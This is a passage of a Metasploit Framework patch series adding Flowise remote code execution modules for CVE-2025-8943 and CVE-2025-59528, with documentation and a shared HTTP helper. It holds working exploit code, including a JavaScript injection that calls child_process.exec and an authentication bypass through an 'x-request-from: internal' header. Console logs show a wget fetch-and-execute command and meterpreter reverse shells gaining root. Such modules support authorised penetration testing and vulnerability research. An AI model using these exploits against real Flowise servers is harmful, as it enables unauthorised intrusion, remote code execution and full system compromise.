21:45:37 +0100 meterpreter > sysinfo -Computer : docker-flowise-1 -OS : Linux -Architecture : x64 -System Language : en_US.UTF-8 -Meterpreter : x64/linux +Computer : 172.18.0.2 +OS : (Linux 6.14.0-115036-tuxedo) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux meterpreter > getuid -Server username: root +Server username: root +``` + +### Scenario 3: With Basic Auth (if configured) + ``` +msf > use exploit/multi/http/flowise_custommcp_rce +msf exploit(multi/http/flowise_custommcp_rce) > set RHOSTS 127.0.0.1 +RHOSTS => 127.0.0.1 +msf exploit(multi/http/flowise_custommcp_rce) > set RPORT 3000 +RPORT => 3000 +msf exploit(multi/http/flowise_custommcp_rce) > set FLOWISE_USERNAME admin +FLOWISE_USERNAME => admin +msf exploit(multi/http/flowise_custommcp_rce) > set FLOWISE_PASSWORD password123 +FLOWISE_PASSWORD => password123 +msf exploit(multi/http/flowise_custommcp_rce) > exploit +[*] Command sent successfully (HTTP 200) +[*] Exploit completed, but no session was created. +``` + +## References + +- CVE-2025-8943 +- JFrog Security Advisory: https://research.jfrog.com/vulnerabilities/flowise-os-command-remote-code-execution-jfsa-2025-001380578/ +- Flowise repository: https://github.com/FlowiseAI/Flowise diff --git a/documentation/modules/exploit/multi/http/flowise_custommcp_rce_cve_2025_8943.md b/documentation/modules/exploit/multi/http/flowise_custommcp_rce_cve_2025_8943.md deleted file mode 100644 index 11b4f7e67458f..0000000000000 --- a/documentation/modules/exploit/multi/http/flowise_custommcp_rce_cve_2025_8943.md +++ /dev/null @@ -1,103 +0,0 @@ -## Vulnerable Application - -[Flowise](https://github.com/FlowiseAI/Flowise) is an open-source platform for building AI agents. Versions >= 2.2.7-patch.1 and < 3.0.1 are vulnerable to a remote command execution vulnerability (CVE-2025-8943) in the customMCP endpoint. - -The vulnerability exists in the `/api/v1/node-load-method/customMCP` endpoint which allows users to execute arbitrary commands by sending a specially crafted JSON payload. The endpoint accepts a command and arguments that are executed directly on the system -via StdioClientTransport. When FLOWISE_USERNAME and FLOWISE_PASSWORD environment variables are not configured, the exploit works unauthenticated -by using the 'x-request-from: internal' header. If Basic Auth is enabled, the module supports providing credentials via the FLOWISE_USERNAME -and FLOWISE_PASSWORD options. - -This vulnerability affects Flowise versions >= 2.2.7-patch.1 (introduced March 14, 2025) and < 3.0.1 (fixed May 29, 2025). - -This module was successfully tested on: - - * Flowise 3.0.0 installed with Docker - -### Installation - -1. `git clone https://github.com/FlowiseAI/Flowise.git` - -2. `cd Flowise` - -3. `git checkout flowise@3.0.0` - -4. `cd docker` - -5. `cp .env.example .env` - -6. Edit `docker-compose.yml` and set the image to `flowiseai/flowise:3.0.0`: - -```yaml -services: - flowise: - image: flowiseai/flowise:3.0.0 -``` - -7. `docker compose up -d` - -8. Verify the installation by checking http://127.0.0.1:3000/api/v1/version (should return `{"version":"3.0.0"}`) - - -## Verification Steps - -1. Install the application -2. Start msfconsole -3. Do: `use exploit/multi/http/flowise_custommcp_rce_cve_2025_8943` -4. Do: `set RHOSTS ` -5. Do: `set LHOST ` -6. Do: `set FETCH_SRVHOST ` -7. Do: `run` -8. You should get a meterpreter session - - -## Options - -**FLOWISE_USERNAME** (optional): Flowise username for Basic Auth. Required if the target has FLOWISE_USERNAME environment variable configured. - -**FLOWISE_PASSWORD** (optional): Flowise password for Basic Auth. Required if the target has FLOWISE_PASSWORD environment variable configured. - -**Note**: The module automatically handles authentication. If Basic Auth is not configured on the target, the exploit works unauthenticated. -If Basic Auth is enabled, you must provide credentials using the FLOWISE_USERNAME and FLOWISE_PASSWORD options. The module includes -improved error handling with HTTP response code validation (200 = success, 401 = authentication required, 404 = endpoint not found, etc.) - - -## Scenarios - -### Flowise 3.0.0 on Linux (Docker) - -``` -msf6 > use exploit/multi/http/flowise_custommcp_rce_cve_2025_8943 -[*] No payload configured, defaulting to cmd/linux/http/aarch64/meterpreter/reverse_tcp -msf6 exploit(multi/http/flowise_custommcp_rce_cve_2025_8943) > set RHOSTS 127.0.0.1 -RHOSTS => 127.0.0.1 -msf6 exploit(multi/http/flowise_custommcp_rce_cve_2025_8943) > set RPORT 3000 -RPORT => 3000 -msf6 exploit(multi/http/flowise_custommcp_rce_cve_2025_8943) > set PAYLOAD cmd/linux/http/x64/meterpreter_reverse_tcp -PAYLOAD => cmd/linux/http/x64/meterpreter_reverse_tcp -msf6 exploit(multi/http/flowise_custommcp_rce_cve_2025_8943) > set LHOST 172.17.0.1 -LHOST => 172.17.0.1 -msf6 exploit(multi/http/flowise_custommcp_rce_cve_2025_8943) > set LPORT 5555 -LPORT => 5555 -msf6 exploit(multi/http/flowise_custommcp_rce_cve_2025_8943) > set FETCH_SRVHOST 172.17.0.1 -FETCH_SRVHOST => 172.17.0.1 -msf6 exploit(multi/http/flowise_custommcp_rce_cve_2025_8943) > set FETCH_SRVPORT 8081 -FETCH_SRVPORT => 8081 -msf6 exploit(multi/http/flowise_custommcp_rce_cve_2025_8943) > run - -[*] Started reverse TCP handler on 172.17.0.1:5555 -[*] Running automatic check ("set AutoCheck false" to disable) -[*] Flowise version detected: 3.0.0 -[+] The target appears to be vulnerable. Version 3.0.0 is vulnerable to CVE-2025-8943 -[*] Sending stage (3090404 bytes) to 172.23.0.2 -[*] Meterpreter session 1 opened (172.17.0.1:5555 -> 172.23.0.2:36184) at 2025-11-18 21:45:37 +0100 - -meterpreter > sysinfo -Computer : docker-flowise-1 -OS : Linux -Architecture : x64 -System Language : en_US.UTF-8 -Meterpreter : x64/linux -meterpreter > getuid -Server username: root -``` - diff --git a/documentation/modules/exploit/multi/http/flowise_js_rce.md b/documentation/modules/exploit/multi/http/flowise_js_rce.md new file mode 100644 index 0000000000000..4da0ccc27a731 --- /dev/null +++ b/documentation/modules/exploit/multi/http/flowise_js_rce.md @@ -0,0 +1,235 @@ +## Vulnerable Application + +This Metasploit module exploits a Remote Code Execution vulnerability in Flowise versions >= 2.2.7-patch.1 and < 3.0.6. +The vulnerability exists in the customMCP endpoint (`/api/v1/node-load-method/customMCP`) which allows JavaScript code injection +in the `mcpServerConfig` parameter via the `convertToValidJSONString` function that uses `Function('return ' + inputString)()`. +For versions < 3.0.1, the exploit uses the `x-request-from: internal` header to bypass authentication when Basic Auth is not configured. + +The vulnerability was fixed in version 3.0.6 by replacing `Function('return ' + inputString)()` with `JSON5.parse(inputString)`. + +### Authentication Requirements + +The authentication behavior differs depending on the Flowise version: + +- **Versions < 3.0.1**: The exploit can work **unauthenticated** if `FLOWISE_USERNAME` and `FLOWISE_PASSWORD` environment variables + are not configured (uses `x-request-from: internal` header to bypass authentication). If Basic Auth is configured, + credentials are required even with the header. + +- **Versions >= 3.0.1**: Authentication via `FLOWISE_EMAIL` and `FLOWISE_PASSWORD` is **required** due to JWT token verification + introduced in version 3.0.1. + +## Setup + +### Docker Setup + +The easiest way to test different versions is using Docker. Use the provided `docker-compose-flowise.yml` file or create one +with the following content: + +```yaml +version: '3.8' + +services: + flowise-2.2.7: + image: flowiseai/flowise:2.2.7-patch.1 + container_name: flowise-2.2.7 + ports: + - "3000:3000" + environment: + - PORT=3000 + restart: unless-stopped + + flowise-3.0.0: + image: flowiseai/flowise:3.0.0 + container_name: flowise-3.0.0 + ports: + - "3001:3000" + environment: + - PORT=3000 + restart: unless-stopped + + flowise-3.0.4: + image: flowiseai/flowise:3.0.4 + container_name: flowise-3.0.4 + ports: + - "3002:3000" + environment: + - PORT=3000 + restart: unless-stopped + # Note: For Flowise 3.0.4, create user manually via web interface at http://localhost:3002 + # Test credentials: admin@test.com / Test12345! + + flowise-3.0.6: + image: flowiseai/flowise:3.0.6 + container_name: flowise-3.0.6 + ports: + - "3003:3000" + environment: + - PORT=3000 + restart: unless-stopped +``` + +Start all instances: `docker compose -f docker-compose-flowise.yml up -d` + +This will run: +- Flowise 2.2.7-patch.1 on port 3000 (unauthenticated, vulnerable) +- Flowise 3.0.0 on port 3001 (unauthenticated, vulnerable) +- Flowise 3.0.4 on port 3002 (authenticated required, vulnerable) +- Flowise 3.0.6 on port 3003 (fixed, not vulnerable) + +### Testing with Docker Compose + +Using the docker-compose.yml above, you can test all versions simultaneously: + +**Test 2.2.7-patch.1 (port 3000, unauthenticated):** +```bash +msfconsole -q -x "use exploit/multi/http/flowise_js_rce; set RHOSTS 127.0.0.1; set RPORT 3000; check; exploit" +``` + +**Test 3.0.0 (port 3001, unauthenticated):** +```bash +msfconsole -q -x "use exploit/multi/http/flowise_js_rce; set RHOSTS 127.0.0.1; set RPORT 3001; check; exploit" +``` + +**Test 3.0.4 (port 3002, authenticated required):** +1. Access `http://localhost:3002` and create an admin account with: + - Email: `admin@test.com` + - Password: `Test12345!` (must be at least 8 characters, contain uppercase, and special character) +2. Run: +```bash +msfconsole -q -x "use exploit/multi/http/flowise_js_rce; set RHOSTS 127.0.0.1; set RPORT 3002; set FLOWISE_EMAIL admin@test.com; set FLOWISE_PASSWORD Test12345!; check; exploit" +``` + +**Test with Meterpreter (use Docker gateway IP 172.17.0.1):** +```bash +msfconsole -q -x "use exploit/multi/http/flowise_js_rce; set RHOSTS 127.0.0.1; set RPORT 3000; set PAYLOAD cmd/linux/http/x64/meterpreter_reverse_tcp; set LHOST 172.17.0.1; set LPORT 5555; set FETCH_SRVHOST 172.17.0.1; set FETCH_SRVPORT 8081; run" +``` + +**Test 3.0.6 (port 3003, fixed - should return Safe):** +```bash +msfconsole -q -x "use exploit/multi/http/flowise_js_rce; set RHOSTS 127.0.0.1; set RPORT 3003; check" +``` +Expected: `CheckCode::Safe("Version 3.0.6 is not vulnerable")` + +## Verification Steps + +1. Start a vulnerable Flowise instance (see versions above) +2. Launch msfconsole: `use exploit/multi/http/flowise_js_rce` +3. Set `RHOSTS` and `RPORT` (default: 3000) +4. For versions >= 3.0.1, set `FLOWISE_EMAIL` and `FLOWISE_PASSWORD` +5. Run `check` to verify vulnerability +6. Set payload and execute: `set PAYLOAD cmd/unix/generic; set CMD 'id'; exploit` +7. Verify command execution (e.g., `docker exec flowise-2.2.7 ls -la /tmp/test_file`) + +## Options + +- **FLOWISE_EMAIL**: Email address for JWT authentication (required for versions >= 3.0.1) +- **FLOWISE_PASSWORD**: Password for authentication (JWT for >= 3.0.1, Basic Auth for < 3.0.1) +- **FLOWISE_USERNAME**: Username for Basic Auth (required if FLOWISE_USERNAME env var is set on target) + +**Note**: For versions < 3.0.1, if Basic Auth is not configured on the target (no `FLOWISE_USERNAME`/`FLOWISE_PASSWORD` +environment variables), the exploit works unauthenticated using the `x-request-from: internal` header. If Basic Auth is configured, +credentials are required. For versions >= 3.0.1, JWT authentication is always required regardless of Basic Auth configuration. +The module uses `FETCH_COMMAND WGET` by default for meterpreter payloads. + +## Scenarios + +### Scenario 1: Unauthenticated Exploit on 2.2.7-patch.1 + +``` +msf > use exploit/multi/http/flowise_js_rce +msf exploit(multi/http/flowise_js_rce) > set RHOSTS 127.0.0.1 +RHOSTS => 127.0.0.1 +msf exploit(multi/http/flowise_js_rce) > set RPORT 3000 +RPORT => 3000 +msf exploit(multi/http/flowise_js_rce) > check +[*] Flowise version detected: 2.2.7.pre.patch.1 +[+] 127.0.0.1:3000 - The target appears to be vulnerable. Version 2.2.7.pre.patch.1 is vulnerable (affected: >= 2.2.7-patch.1 and < 3.0.6) (may work unauthenticated if basic auth not configured) +msf exploit(multi/http/flowise_js_rce) > set PAYLOAD cmd/unix/generic +PAYLOAD => cmd/unix/generic +msf exploit(multi/http/flowise_js_rce) > set CMD 'id' +CMD => id +msf exploit(multi/http/flowise_js_rce) > exploit +[*] No credentials provided, attempting unauthenticated exploit (may work for versions < 3.0.1) +[*] Command sent successfully (HTTP 200) +[*] Exploit completed, but no session was created. +``` + +### Scenario 2: Authenticated Exploit on 3.0.4 + +``` +msf > use exploit/multi/http/flowise_js_rce +msf exploit(multi/http/flowise_js_rce) > set RHOSTS 127.0.0.1 +RHOSTS => 127.0.0.1 +msf exploit(multi/http/flowise_js_rce) > set RPORT 3002 +RPORT => 3002 +msf exploit(multi/http/flowise_js_rce) > set FLOWISE_EMAIL admin@test.com +FLOWISE_EMAIL => admin@test.com +msf exploit(multi/http/flowise_js_rce) > set FLOWISE_PASSWORD Test12345! +FLOWISE_PASSWORD => Test12345! +msf exploit(multi/http/flowise_js_rce) > check +[*] Flowise version detected: 3.0.4 +[+] 127.0.0.1:3000 - The target appears to be vulnerable. Version 3.0.4 is vulnerable (affected: >= 2.2.7-patch.1 and < 3.0.6) (authentication required) +[+] Authentication successful +msf exploit(multi/http/flowise_js_rce) > set PAYLOAD cmd/unix/generic +PAYLOAD => cmd/unix/generic +msf exploit(multi/http/flowise_js_rce) > set CMD 'id' +CMD => id +msf exploit(multi/http/flowise_js_rce) > exploit +[*] Command sent successfully (HTTP 200) +[*] Exploit completed, but no session was created. +``` + +### Scenario 3: Meterpreter Session on 2.2.7-patch.1 + +When using meterpreter payloads with Docker, use the Docker gateway IP (172.17.0.1) for both `LHOST` and `FETCH_SRVHOST`: + +``` +msf > use exploit/multi/http/flowise_js_rce +msf exploit(multi/http/flowise_js_rce) > set RHOSTS 127.0.0.1 +RHOSTS => 127.0.0.1 +msf exploit(multi/http/flowise_js_rce) > set RPORT 3000 +RPORT => 3000 +msf exploit(multi/http/flowise_js_rce) > set PAYLOAD cmd/linux/http/x64/meterpreter_reverse_tcp +PAYLOAD => cmd/linux/http/x64/meterpreter_reverse_tcp +msf exploit(multi/http/flowise_js_rce) > set LHOST 172.17.0.1 +LHOST => 172.17.0.1 +msf exploit(multi/http/flowise_js_rce) > set LPORT 5555 +LPORT => 5555 +msf exploit(multi/http/flowise_js_rce) > set FETCH_SRVHOST 172.17.0.1 +FETCH_SRVHOST => 172.17.0.1 +msf exploit(multi/http/flowise_js_rce) > set FETCH_SRVPORT 8081 +FETCH_SRVPORT => 8081 +msf exploit(multi/http/flowise_js_rce) > set FetchListenerBindAddress 0.0.0.0 +FetchListenerBindAddress => 0.0.0.0 +msf exploit(multi/http/flowise_js_rce) > run + +[*] Command to run on remote host: wget -qO ./nTQCwuECPCfS http://172.17.0.1:8081/-2XrDKPVG9i7xkemEnh_ug;chmod +x ./nTQCwuECPCfS;./nTQCwuECPCfS& +[*] Fetch handler listening on 0.0.0.0:8081 +[*] HTTP server started +[*] Adding resource /-2XrDKPVG9i7xkemEnh_ug +[*] Started reverse TCP handler on 172.17.0.1:5555 +[*] Running automatic check ("set AutoCheck false" to disable) +[*] Flowise version detected: 2.2.7.pre.patch.1 +[+] The target appears to be vulnerable. Version 2.2.7.pre.patch.1 is vulnerable (affected: >= 2.2.7-patch.1 and < 3.0.6) (may work unauthenticated if basic auth not configured) +[*] No credentials provided, attempting unauthenticated exploit (may work for versions < 3.0.1) +[*] Client 172.18.0.2 requested /-2XrDKPVG9i7xkemEnh_ug +[*] Sending payload to 172.18.0.2 (Wget) +[*] Command sent successfully (HTTP 200) +[*] Meterpreter session 4 opened (172.17.0.1:5555 -> 172.18.0.2:41138) at 2025-11-19 21:58:27 +0100 + +meterpreter > sysinfo +Computer : 172.18.0.2 +OS : (Linux 6.14.0-115036-tuxedo) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +meterpreter > getuid +Server username: root +``` + +## References + +- CVE-2025-59528 +- Original exploit: https://github.com/nltt-br +- Flowise repository: https://github.com/FlowiseAI/Flowise + diff --git a/lib/msf/core/exploit/remote/http/flowise.rb b/lib/msf/core/exploit/remote/http/flowise.rb new file mode 100644 index 0000000000000..1acfa2cc5b50d --- /dev/null +++ b/lib/msf/core/exploit/remote/http/flowise.rb @@ -0,0 +1,173 @@ +# -*- coding: binary -*- + +module Msf + class Exploit + class Remote + module HTTP + # This module provides a way of interacting with Flowise installations + # + # @example + # include Msf::Exploit::Remote::HTTP::Flowise + # + # def exploit + # version = flowise_get_version + # if flowise_requires_auth?(version) + # flowise_login('admin@example.com', 'password') + # end + # flowise_send_custommcp_request(payload_data) + # end + module Flowise + include Msf::Exploit::Remote::HttpClient + + # Retrieves the Flowise version from the target + # + # @return [Rex::Version, nil] The Flowise version, or nil if the version cannot be retrieved + # + # @example + # version = flowise_get_version + # # => # + def flowise_get_version + version_url = normalize_uri(target_uri.path, 'api', 'v1', 'version') + res = send_request_cgi({ + 'uri' => version_url, + 'method' => 'GET', + 'headers' => { 'Accept' => 'application/json' } + }) + + return nil unless res&.code == 200 + + version_str = res.get_json_document['version'] + return nil if version_str.blank? + + Rex::Version.new(version_str) + end + + # Checks if the Flowise version requires authentication + # + # @param version [Rex::Version, nil] The Flowise version to check. If nil, retrieves it automatically + # @return [Boolean] true if authentication is required (version >= 3.0.1), false otherwise + # + # @example + # if flowise_requires_auth? + # flowise_login('admin@example.com', 'password') + # end + def flowise_requires_auth?(version = nil) + version ||= flowise_get_version + return false unless version + + version >= Rex::Version.new('3.0.1') + end + + # Authenticates with Flowise using JWT (email/password) + # + # @param email [String] The email address for authentication + # @param password [String] The password for authentication + # @return [Boolean] true if authentication succeeds, false otherwise + # + # @example + # if flowise_login('admin@example.com', 'password') + # print_good('Logged in successfully') + # end + def flowise_login(email, password) + return false if email.blank? || password.blank? + + login_url = normalize_uri(target_uri.path, 'api', 'v1', 'auth', 'login') + res = send_request_cgi({ + 'uri' => login_url, + 'method' => 'POST', + 'ctype' => 'application/json', + 'headers' => { + 'x-request-from' => 'internal', + 'Accept' => 'application/json, text/plain, */*' + }, + 'keep_cookies' => true, + 'data' => { + 'email' => email, + 'password' => password + }.to_json + }) + + return false unless res + + if res.code == 200 || res.code == 201 + print_good('Authentication successful') + return true + end + + if res.code == 401 + fail_with(Msf::Exploit::Failure::NoAccess, 'Authentication failed - invalid credentials') + end + + fail_with(Msf::Exploit::Failure::UnexpectedReply, "Login failed with HTTP #{res.code}") + end + + # Sends a request to the customMCP endpoint + # + # @param payload_data [Hash] The payload data to send (must include 'loadMethod' and 'inputs') + # @param opts [Hash] Optional parameters + # @option opts [String] :username Username for Basic Auth (if required) + # @option opts [String] :password Password for Basic Auth (if required) + # @return [Boolean] true if the request was sent successfully (HTTP 200 or no response for background payloads), false otherwise + # + # @example + # payload_data = { + # 'loadMethod' => 'listActions', + # 'inputs' => { 'mcpServerConfig' => '{...}' } + # } + # flowise_send_custommcp_request(payload_data, username: 'admin', password: 'password') + def flowise_send_custommcp_request(payload_data, opts = {}) + exploit_url = normalize_uri(target_uri.path, 'api', 'v1', 'node-load-method', 'customMCP') + + headers = { + 'x-request-from' => 'internal', + 'Accept' => 'application/json, text/plain, */*' + } + + if opts[:username] && opts[:password] + headers['Authorization'] = basic_auth(opts[:username], opts[:password]) + end + + request_opts = { + 'uri' => exploit_url, + 'method' => 'POST', + 'ctype' => 'application/json', + 'headers' => headers, + 'keep_cookies' => true, + 'data' => payload_data.to_json + } + + res = send_request_cgi(request_opts) + + unless res + vprint_warning('No response from server (command may still execute in background)') + return true + end + + if res.code == 200 + vprint_status('Command sent successfully (HTTP 200)') + return true + end + + if res.code == 401 + vprint_error('Authentication required - check credentials') + return false + end + + if res.code == 404 + vprint_error('Endpoint not found - target may not be vulnerable') + return false + end + + if res.code == 500 + vprint_error('Server error - command may have failed to execute') + return true + end + + vprint_warning("Unexpected HTTP response code: #{res.code}") + return true + end + end + end + end + end +end diff --git a/modules/exploits/multi/http/flowise_custommcp_rce.rb b/modules/exploits/multi/http/flowise_custommcp_rce.rb index 885781f815f51..da0524c1c899a 100644 --- a/modules/exploits/multi/http/flowise_custommcp_rce.rb +++ b/modules/exploits/multi/http/flowise_custommcp_rce.rb @@ -7,6 +7,7 @@ class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Remote::HTTP::Flowise prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) @@ -55,7 +56,8 @@ def initialize(info = {}) 'DisclosureDate' => '2025-08-14', 'DefaultTarget' => 0, 'DefaultOptions' => { - 'RPORT' => 3000 + 'RPORT' => 3000, + 'FETCH_COMMAND' => 'WGET' }, 'Notes' => { 'Stability' => [CRASH_SAFE], @@ -72,25 +74,15 @@ def initialize(info = {}) end def check - version_url = normalize_uri(target_uri.path, 'api', 'v1', 'version') - res = send_request_cgi({ - 'uri' => version_url, - 'method' => 'GET', - 'headers' => { 'Accept' => 'application/json' } - }) + version = flowise_get_version + return CheckCode::Unknown('Could not retrieve Flowise version') unless version - return CheckCode::Unknown('Could not retrieve Flowise version') unless res&.code == 200 - - json_data = res.get_json_document - version_str = json_data['version'] - return CheckCode::Detected('Could not retrieve Flowise version') if version_str.blank? - - version = Rex::Version.new(version_str) print_status("Flowise version detected: #{version}") # Vulnerability introduced in 2.2.7-patch.1 (March 14, 2025) and fixed in 3.0.1 (May 29, 2025) - if version >= Rex::Version.new('2.2.7') && version < Rex::Version.new('3.0.1') - return CheckCode::Appears("Version #{version} is vulnerable (affected: >= 2.2.7-patch.1 and < 3.0.1)") + # Note: Rex::Version parses "2.2.7-patch.1" as "2.2.7.pre.patch.1", so we check >= 2.2.7 + if (version >= Rex::Version.new('2.2.7') || version.to_s.include?('2.2.7')) && version < Rex::Version.new('3.0.1') + return CheckCode::Appears('(affected: >= 2.2.7-patch.1 and < 3.0.1)') end CheckCode::Safe("Version #{version} is not vulnerable") @@ -105,7 +97,7 @@ def execute_command(cmd, _opts = {}) args = ['/c', cmd] end - payload = { + payload_data = { 'inputs' => { 'mcpServerConfig' => { 'command' => command, @@ -115,48 +107,13 @@ def execute_command(cmd, _opts = {}) 'loadMethod' => 'listActions' } - exploit_url = normalize_uri(target_uri.path, 'api', 'v1', 'node-load-method', 'customMCP') - - request_opts = { - 'uri' => exploit_url, - 'method' => 'POST', - 'ctype' => 'application/json', - 'headers' => { - 'x-request-from' => 'internal' - }, - 'data' => payload.to_json - } - - # Add Basic Auth if credentials are provided + opts = {} if !datastore['FLOWISE_USERNAME'].blank? && !datastore['FLOWISE_PASSWORD'].blank? - request_opts['username'] = datastore['FLOWISE_USERNAME'] - request_opts['password'] = datastore['FLOWISE_PASSWORD'] + opts[:username] = datastore['FLOWISE_USERNAME'] + opts[:password] = datastore['FLOWISE_PASSWORD'] end - res = send_request_cgi(request_opts) - - unless res - vprint_error('No response from server') - return false - end - - case res.code - when 200 - vprint_status('Command sent successfully (HTTP 200)') - return true - when 401 - vprint_error('Authentication required - check FLOWISE_USERNAME and FLOWISE_PASSWORD options') - return false - when 404 - vprint_error('Endpoint not found - target may not be vulnerable or CustomMCP not available') - return false - when 500 - vprint_error('Server error - command may have failed to execute') - return true - else - vprint_warning("Unexpected HTTP response code: #{res.code}") - return true - end + flowise_send_custommcp_request(payload_data, opts) end def exploit diff --git a/modules/exploits/multi/http/flowise_js_rce.rb b/modules/exploits/multi/http/flowise_js_rce.rb new file mode 100644 index 0000000000000..d9218f78596c5 --- /dev/null +++ b/modules/exploits/multi/http/flowise_js_rce.rb @@ -0,0 +1,143 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Remote::HTTP::Flowise + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Flowise JS Injection RCE', + 'Description' => %q{ + This module exploits a remote code execution vulnerability in Flowise versions >= 2.2.7-patch.1 + and < 3.0.6. The vulnerability exists in the customMCP endpoint (/api/v1/node-load-method/customMCP) + located in packages/components/nodes/tools/MCP/CustomMCP/CustomMCP.ts, which allows users to execute + arbitrary commands via JavaScript code injection in the mcpServerConfig parameter using the + convertToValidJSONString function that uses Function('return ' + inputString)(). For versions < 3.0.1, + the exploit can work unauthenticated if FLOWISE_USERNAME and FLOWISE_PASSWORD environment variables + are not configured. For versions >= 3.0.1, authentication via FLOWISE_EMAIL and FLOWISE_PASSWORD is + required due to JWT token verification. + }, + 'Author' => [ + 'Kim SooHyun (im-soohyun)', # Vulnerability discovery + 'nltt0', # Original exploit PoC + 'Valentin Lobstein ' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => [ + ['CVE', '2025-59528'], + ['EDB', '52440'] + ], + 'Platform' => %w[unix linux win], + 'Arch' => [ARCH_CMD], + 'Targets' => [ + [ + 'Unix/Linux Command', + { + 'Platform' => %w[unix linux], + 'Arch' => ARCH_CMD + # tested with cmd/linux/http/x64/meterpreter_reverse_tcp + } + ], + [ + 'Windows Command', + { + 'Platform' => 'win', + 'Arch' => ARCH_CMD + # tested with cmd/windows/http/x64/meterpreter_reverse_tcp + } + ] + ], + 'Privileged' => false, + 'DisclosureDate' => '2025-09-13', + 'DefaultTarget' => 0, + 'DefaultOptions' => { + 'RPORT' => 3000, + 'FETCH_COMMAND' => 'WGET' + }, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [IOC_IN_LOGS] + } + ) + ) + + register_options([ + OptString.new('FLOWISE_EMAIL', [false, 'Flowise email for JWT authentication (required for versions >= 3.0.1)', '']), + OptString.new('FLOWISE_PASSWORD', [false, 'Flowise password for authentication (JWT for >= 3.0.1, Basic Auth for < 3.0.1)', '']), + OptString.new('FLOWISE_USERNAME', [false, 'Flowise username for Basic Auth (required if FLOWISE_USERNAME env var is set on target)', '']) + ]) + end + + def check + version = flowise_get_version + return CheckCode::Unknown('Could not retrieve Flowise version') unless version + + print_status("Flowise version detected: #{version}") + + # Vulnerability introduced in 2.2.7-patch.1 (March 14, 2025) and fixed in 3.0.6 (September 12, 2025) + # Note: Rex::Version parses "2.2.7-patch.1" as "2.2.7.pre.patch.1", so we check >= 2.2.7 + if (version >= Rex::Version.new('2.2.7') || version.to_s.include?('2.2.7')) && version < Rex::Version.new('3.0.6') + return CheckCode::Appears("(affected: >= 2.2.7-patch.1 and < 3.0.6)#{version >= Rex::Version.new('3.0.1') ? ' (authentication required)' : ' (may work unauthenticated if basic auth not configured)'}") + end + + CheckCode::Safe("Version #{version} is not vulnerable") + end + + def execute_command(cmd, _opts = {}) + requires_auth = flowise_requires_auth? + + if requires_auth + if datastore['FLOWISE_EMAIL'].blank? || datastore['FLOWISE_PASSWORD'].blank? + fail_with(Failure::NoAccess, 'Authentication required for this version - set FLOWISE_EMAIL and FLOWISE_PASSWORD') + end + unless flowise_login(datastore['FLOWISE_EMAIL'], datastore['FLOWISE_PASSWORD']) + fail_with(Failure::NoAccess, 'Authentication required for this version but login failed') + end + end + + if !datastore['FLOWISE_USERNAME'].blank? && !datastore['FLOWISE_PASSWORD'].blank? + vprint_status('Basic Auth credentials provided for version < 3.0.1') + end + + if !datastore['FLOWISE_EMAIL'].blank? && !datastore['FLOWISE_PASSWORD'].blank? && !requires_auth + vprint_status('JWT credentials provided, attempting login (may not be needed for versions < 3.0.1)') + unless flowise_login(datastore['FLOWISE_EMAIL'], datastore['FLOWISE_PASSWORD']) + vprint_warning('Login failed, but continuing without authentication (may work for versions < 3.0.1)') + end + end + + if datastore['FLOWISE_EMAIL'].blank? && datastore['FLOWISE_PASSWORD'].blank? && datastore['FLOWISE_USERNAME'].blank? + vprint_status('No credentials provided, attempting unauthenticated exploit (may work for versions < 3.0.1)') + end + + escaped_cmd = cmd.gsub('\\', '\\\\').gsub('"', '\\"').gsub("\n", '\\n').gsub("\r", '\\r') + + payload_data = { + 'loadMethod' => 'listActions', + 'inputs' => { + 'mcpServerConfig' => "{x:(function(){const cp = process.mainModule.require(\"child_process\");cp.exec(\"#{escaped_cmd}\",()=>{});return 1;})()}" + } + } + + opts = {} + if !datastore['FLOWISE_USERNAME'].blank? && !datastore['FLOWISE_PASSWORD'].blank? + opts[:username] = datastore['FLOWISE_USERNAME'] + opts[:password] = datastore['FLOWISE_PASSWORD'] + end + + flowise_send_custommcp_request(payload_data, opts) + end + + def exploit + fail_with(Failure::PayloadFailed, 'Failed to run payload') unless execute_command(payload.encoded) + end +end From 8fbbc3e043f1fdc76a9ffa6f5fdeafd128b79086 Mon Sep 17 00:00:00 2001 From: Valentin Lobstein Date: Wed, 19 Nov 2025 22:24:28 +0100 Subject: [PATCH 08/16] Update flowise_custommcp_rce documentation: add Basic Auth testing scenario --- .../modules/exploit/multi/http/flowise_custommcp_rce.md | 9 ++++++++- 1 file changed, 8 insertions(+), 1 deletion(-) diff --git a/documentation/modules/exploit/multi/http/flowise_custommcp_rce.md b/documentation/modules/exploit/multi/http/flowise_custommcp_rce.md index 7e706a169bb44..fa803f9cc7ba9 100644 --- a/documentation/modules/exploit/multi/http/flowise_custommcp_rce.md +++ b/documentation/modules/exploit/multi/http/flowise_custommcp_rce.md @@ -14,7 +14,9 @@ This vulnerability affects Flowise versions >= 2.2.7-patch.1 (introduced March 1 This module was successfully tested on: - * Flowise 3.0.0 installed with Docker + * Flowise 2.2.7-patch.1 (unauthenticated) + * Flowise 2.2.7-patch.1 with Basic Auth configured (FLOWISE_USERNAME/FLOWISE_PASSWORD env vars) + * Flowise 3.0.0 (unauthenticated) ### Docker Setup @@ -71,6 +73,11 @@ msfconsole -q -x "use exploit/multi/http/flowise_custommcp_rce; set RHOSTS 127.0 msfconsole -q -x "use exploit/multi/http/flowise_custommcp_rce; set RHOSTS 127.0.0.1; set RPORT 3001; set PAYLOAD cmd/unix/generic; set CMD 'id'; exploit" ``` +**Test 2.2.7-patch.1 with Basic Auth (port 3004, credentials required):** +```bash +msfconsole -q -x "use exploit/multi/http/flowise_custommcp_rce; set RHOSTS 127.0.0.1; set RPORT 3004; set FLOWISE_USERNAME admin; set FLOWISE_PASSWORD Test12345!; set PAYLOAD cmd/unix/generic; set CMD 'id'; exploit" +``` + **Test 3.0.1 (port 3002, fixed - should return 